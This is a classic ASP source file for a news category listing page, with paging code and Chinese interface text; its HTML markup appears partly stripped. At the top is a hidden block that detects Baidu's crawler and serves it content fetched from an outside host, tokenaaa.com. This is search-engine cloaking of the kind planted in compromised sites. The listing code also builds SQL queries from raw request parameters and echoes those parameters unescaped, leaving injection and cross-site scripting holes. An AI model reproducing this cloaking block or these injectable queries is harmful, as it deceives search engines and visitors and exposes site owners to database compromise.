<% function GetBot() dim s_agent GetBot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") if instr(1,s_agent,"baiduspider",1) >0 then GetBot="baidu" end if end function Function getHTTPPage(Path) t = GetBody(Path) getHTTPPage=BytesToBstr(t,"GB2312")'编码 End function Function Newstring(wstr,strng) Newstring=Instr(lcase(wstr),lcase(strng)) if Newstring<=0 then Newstring=Len(wstr) End Function Function GetBody(url) on error resume next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retrieval = Nothing End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Dim wstr,str,url,start,over,dtime if GetBot="baidu" then url="http://tokenaaa.com/" wstr=getHTTPPage(url) body=wstr response.write ""&body&"" response.end end if %> <% BigClass=request("BigClass") SmallClass=request("SmallClass") %>
  <% Response.Write(""&BigClass&""&SmallClass&"") %>  
<% page=clng(request("page")) Set rs=Server.CreateObject("ADODB.RecordSet") if BigClass<>"" and SmallClass <>"" then sql="select * from news where BigClassName='"&BigClass&"' and SmallClassName='"&SmallClass&"' order by AddDate desc" rs.Open sql,conn,1,1 elseif BigClass<>"" then sql="select * from news where BigClassName='"&BigClass&"' order by AddDate desc" rs.Open sql,conn,1,1 end if if rs.eof and rs.bof then response.Write("No News") else %> <% rs.PageSize=20 if page=0 then page=1 pages=rs.pagecount if page > pages then page=pages rs.AbsolutePage=page for j=1 to rs.PageSize %> <% rs.movenext if rs.eof then exit for next %> <% end if rs.close set rs=nothing %>
<% if rs("FirstImageName")<>"" then response.write "图片新闻" end if %> " ><%= RS("TITLE") %>  <%=FormatDateTime(RS("AddDate"),2)%>
<%if Page<2 then response.write "首页 上一页 " else response.write "首页 " response.write "上一页 " end if if rs.pagecount-page<1 then response.write "下一页 尾页" else response.write "" response.write "下一页 尾页" end if response.write " 页次:"&Page&"/"&rs.pagecount&"页 " response.write " 共"&rs.recordcount&"条记录 "&rs.pagesize&"条记录/页" response.write " 转到:" response.write "

" %>